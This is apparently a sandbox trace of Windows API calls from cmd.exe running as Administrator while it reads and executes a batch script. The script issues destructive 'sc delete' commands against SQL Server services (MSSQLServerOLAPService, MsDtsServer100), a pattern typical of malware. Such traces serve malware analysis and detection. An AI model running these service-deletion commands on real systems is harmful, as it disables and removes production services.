hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.057] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.057] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLServerOLAPService\n\n") returned 1 [0071.057] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.057] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.057] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.057] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLServerOLAPService\n\n") returned 1 [0071.057] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.057] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.057] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.058] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLServerOLAPService\n\n") returned 1 [0071.058] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.058] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.058] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.058] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLServerOLAPService\n\n") returned 1 [0071.058] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.058] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.058] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.058] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLServerOLAPService\n\n") returned 1 [0071.058] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.058] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.058] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.058] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLServerOLAPService\n\n") returned 1 [0071.058] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.058] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.058] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.058] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLServerOLAPService\n\n") returned 1 [0071.058] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.058] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.058] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.058] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLServerOLAPService\n\n") returned 1 [0071.058] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.059] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.059] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.059] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLServerOLAPService\n\n") returned 1 [0071.059] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.059] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.059] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.059] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="MSSQLServerOLAPService\n\n") returned 1 [0071.059] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.059] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.059] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.059] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="sSQLServerOLAPService\n\n") returned 1 [0071.059] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.059] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.059] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.059] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="DQLServerOLAPService\n\n") returned 1 [0071.059] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.059] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.059] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.059] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="tLServerOLAPService\n\n") returned 1 [0071.059] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.059] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.059] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="sServerOLAPService\n\n") returned 1 [0071.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.060] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="ServerOLAPService\n\n") returned 1 [0071.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.060] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="erverOLAPService\n\n") returned 1 [0071.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.060] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="rverOLAPService\n\n") returned 1 [0071.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.060] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="verOLAPService\n\n") returned 1 [0071.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.060] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="erOLAPService\n\n") returned 1 [0071.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="rOLAPService\n\n") returned 1 [0071.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="1LAPService\n\n") returned 1 [0071.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="0APService\n\n") returned 1 [0071.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="0PService\n\n") returned 1 [0071.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="\nService\n\n") returned 1 [0071.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.061] GetFileType (hFile=0xb8) returned 0x3 [0071.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.062] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.062] GetFileType (hFile=0x120) returned 0x3 [0071.062] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MsDtsServer100\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MsDtsServer100\n", lpUsedDefaultChar=0x0) returned 26 [0071.062] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x19, lpOverlapped=0x0) returned 1 [0071.062] GetProcessHeap () returned 0x4a0000 [0071.062] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.062] GetProcessHeap () returned 0x4a0000 [0071.062] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.062] GetProcessHeap () returned 0x4a0000 [0071.062] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.062] GetProcessHeap () returned 0x4a0000 [0071.062] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.062] GetProcessHeap () returned 0x4a0000 [0071.062] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0071.062] GetConsoleOutputCP () returned 0x1b5 [0071.062] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.063] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.063] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.063] GetProcessHeap () returned 0x4a0000 [0071.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.063] GetProcessHeap () returned 0x4a0000 [0071.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa90 [0071.063] GetProcessHeap () returned 0x4a0000 [0071.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc590 [0071.063] SetErrorMode (uMode=0x0) returned 0x1 [0071.063] SetErrorMode (uMode=0x1) returned 0x0 [0071.063] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5a0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.063] SetErrorMode (uMode=0x1) returned 0x1 [0071.063] GetProcessHeap () returned 0x4a0000 [0071.063] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc590, Size=0x62) returned 0x4bc590 [0071.063] GetProcessHeap () returned 0x4a0000 [0071.063] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc590) returned 0x62 [0071.063] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.063] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.063] GetProcessHeap () returned 0x4a0000 [0071.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.064] GetProcessHeap () returned 0x4a0000 [0071.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.064] GetProcessHeap () returned 0x4a0000 [0071.064] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.064] GetProcessHeap () returned 0x4a0000 [0071.064] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.064] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.064] GetProcessHeap () returned 0x4a0000 [0071.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.064] GetProcessHeap () returned 0x4a0000 [0071.064] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.064] GetProcessHeap () returned 0x4a0000 [0071.064] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.064] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.064] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.064] GetLastError () returned 0x2 [0071.064] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.064] GetLastError () returned 0x2 [0071.064] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4bba10 [0071.065] FindClose (in: hFindFile=0x4bba10 | out: hFindFile=0x4bba10) returned 1 [0071.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.065] GetLastError () returned 0x2 [0071.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4bba10 [0071.065] FindClose (in: hFindFile=0x4bba10 | out: hFindFile=0x4bba10) returned 1 [0071.065] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.065] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.065] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.065] GetProcessHeap () returned 0x4a0000 [0071.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.065] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.065] GetProcessHeap () returned 0x4a0000 [0071.065] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xaa) returned 0x4b9180 [0071.066] GetProcessHeap () returned 0x4a0000 [0071.066] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xaa [0071.066] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MsDtsServer100") returned 1 [0071.066] GetProcessHeap () returned 0x4a0000 [0071.066] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.066] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.066] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.066] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.066] GetProcessHeap () returned 0x4a0000 [0071.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 